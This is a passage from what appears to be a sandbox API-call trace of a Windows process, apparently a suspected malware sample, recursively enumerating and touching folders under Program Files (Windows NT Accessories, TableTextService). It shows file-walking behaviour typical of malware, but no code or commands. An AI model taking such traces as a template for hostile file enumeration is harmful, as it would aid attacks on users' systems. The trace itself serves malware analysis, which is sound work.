ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="")) returned 1 [0089.715] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.716] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\Accessories" (normalized: "c:\\program files (x86)\\windows nt\\accessories"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.716] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows NT\\Accessories" (normalized: "c:\\program files (x86)\\windows nt\\accessories"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0089.717] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0089.717] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.717] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0089.717] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.717] NtClose (Handle=0x178) returned 0x0 [0089.718] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.718] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.718] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.718] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.718] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\Accessories\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e90c0 [0089.718] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.718] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0089.718] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8513b27, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8513b27, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8585f48, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x40ce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe", cAlternateFileName="")) returned 1 [0089.718] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.719] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.719] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.719] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.719] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.720] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.720] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe46e7c7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xbe46e7c7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb1b193f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2f800, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordpadFilter.dll", cAlternateFileName="")) returned 1 [0089.720] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.720] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.720] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.721] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.721] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe46e7c7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xbe46e7c7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb1b193f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2f800, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordpadFilter.dll", cAlternateFileName="")) returned 0 [0089.721] GetLastError () returned 0x12 [0089.721] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\Accessories\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0089.721] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0089.722] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.722] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0089.722] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\Accessories\\en-US" (normalized: "c:\\program files (x86)\\windows nt\\accessories\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.722] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows NT\\Accessories\\en-US" (normalized: "c:\\program files (x86)\\windows nt\\accessories\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0089.722] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0089.722] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0089.722] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.722] NtClose (Handle=0x178) returned 0x0 [0089.723] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.723] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.723] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efa30 [0089.723] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0089.723] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\Accessories\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0089.723] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.723] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe506d6c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe506d6c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe.mui", cAlternateFileName="")) returned 1 [0089.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.724] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.724] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.725] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0089.725] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efa30) returned 1 [0089.725] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1f48 [0089.725] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13155e0 [0089.726] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.726] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe506d6c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe506d6c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe.mui", cAlternateFileName="")) returned 0 [0089.726] GetLastError () returned 0x12 [0089.726] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\Accessories\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0089.726] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0089.726] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.726] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe506d6c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe506d6c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe.mui", cAlternateFileName="")) returned 1 [0089.726] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe506d6c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe506d6c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe.mui", cAlternateFileName="")) returned 0 [0089.726] GetLastError () returned 0x12 [0089.726] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0089.726] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0089.727] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0089.727] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.727] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8513b27, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8513b27, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8585f48, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x40ce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe", cAlternateFileName="")) returned 1 [0089.727] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe46e7c7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xbe46e7c7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb1b193f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2f800, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordpadFilter.dll", cAlternateFileName="")) returned 1 [0089.727] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe46e7c7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xbe46e7c7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb1b193f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2f800, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordpadFilter.dll", cAlternateFileName="")) returned 0 [0089.727] GetLastError () returned 0x12 [0089.727] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.727] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0089.727] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.728] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.728] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c031f0, ftCreationTime.dwHighDateTime=0x1d5778f, ftLastAccessTime.dwLowDateTime=0x9a2976a0, ftLastAccessTime.dwHighDateTime=0x1d59518, ftLastWriteTime.dwLowDateTime=0x9a2976a0, ftLastWriteTime.dwHighDateTime=0x1d59518, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="paintball-indie-bailey.exe", cAlternateFileName="")) returned 1 [0089.728] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="")) returned 1 [0089.728] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.728] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.728] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0089.728] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0089.729] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.729] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0089.729] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.729] NtClose (Handle=0x164) returned 0x0 [0089.729] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.729] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.730] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.730] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.730] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0089.732] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.732] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228e0708, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0089.732] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x688296e7, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x688296e7, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xaf1e3ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll", cAlternateFileName="")) returned 1 [0089.732] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.732] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.732] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.733] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.733] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.733] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.733] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x482a6fb4, ftCreationTime.dwHighDateTime=0x1ca0402, ftLastAccessTime.dwLowDateTime=0x482a6fb4, ftLastAccessTime.dwHighDateTime=0x1ca0402, ftLastWriteTime.dwLowDateTime=0x77dccedc, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0x3f54, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceAmharic.txt", cAlternateFileName="")) returned 1 [0089.733] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.734] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.734] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0089.736] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.736] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1f68 [0089.736] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13156e8 [0089.736] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.736] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47eeed6d, ftCreationTime.dwHighDateTime=0x1ca0402, ftLastAccessTime.dwLowDateTime=0x47eeed6d, ftLastAccessTime.dwHighDateTime=0x1ca0402, ftLastWriteTime.dwLowDateTime=0x77e3f2fc, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0x136bf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceArray.txt", cAlternateFileName="")) returned 1 [0089.736] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.737] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.737] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.737] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.737] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.737] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1f88 [0089.738] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13157f0 [0089.738] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.738] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77e3f2fc, ftCreationTime.dwHighDateTime=0x1c9ea14, ftLastAccessTime.dwLowDateTime=0x77e3f2fc, ftLastAccessTime.dwHighDateTime=0x1c9ea14, ftLastWriteTime.dwLowDateTime=0x77ed787c, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0xef486, dwReserved0=0x0, dwReserved1=0x0, 